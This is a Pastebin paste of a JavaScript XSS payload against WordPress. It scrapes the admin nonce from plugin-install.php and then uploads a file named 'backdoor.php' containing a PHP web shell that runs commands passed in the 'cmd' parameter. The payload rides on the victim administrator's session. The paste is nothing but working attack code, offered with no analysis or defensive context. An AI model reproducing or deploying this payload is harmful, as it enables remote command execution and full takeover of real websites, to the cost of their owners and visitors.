ToKeiChun

Payload Javascript to Arbitrary File Upload in Wordpress [HTML Inject][XSS]

Dec 2nd, 2020
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var ajax = new XMLHttpRequest();
  2. ajax.open("GET","/wordpress/wp-admin/plugin-install.php",true);
  3. ajax.onreadystatechange = function(){
  4.   if(this.readyState == 4){
  5.     if(this.status == 200){
  6.       var re = /id="_wpnonce" name="_wpnonce" value="(\w+)"/;
  7.       var result = this.responseText.match(re);
  8.       var nonce = result[1];
  9.  
  10.       var xhr = new XMLHttpRequest();
  11.       xhr.open("POST", "/wordpress/wp-admin/update.php?action=upload-plugin", true);
  12.       xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  13.       xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
  14.       xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------106557699112863554041057400679");
  15.       xhr.withCredentials = true;
  16.       var body = "-----------------------------106557699112863554041057400679\r\n" +
  17.       "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +
  18.       "\r\n" +
  19.       nonce + "\r\n" +
  20.       "-----------------------------106557699112863554041057400679\r\n" +
  21.       "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" +
  22.       "\r\n" +
  23.       "/wp-admin/plugin-install.php\r\n" +
  24.       "-----------------------------106557699112863554041057400679\r\n" +
  25.       "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"backdoor.php\"\r\n" +
  26.       "Content-Type: text/php\r\n" +
  27.       "\r\n" +
  28.       "\x3c?php echo system($_GET[\'cmd\']); ?\x3e\r\n" +
  29.       "-----------------------------106557699112863554041057400679\r\n" +
  30.       "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" +
  31.       "\r\n" +
  32.       "Install Now\r\n" +
  33.       "-----------------------------106557699112863554041057400679--\r\n";
  34.       var aBody = new Uint8Array(body.length);
  35.       for (var i = 0; i < aBody.length; i++)
  36.       aBody[i] = body.charCodeAt(i);
  37.       xhr.send(new Blob([aBody]));
  38.     }
  39.   }
  40. }
  41. ajax.send();
  42.  
Add Comment
Please, Sign In to add comment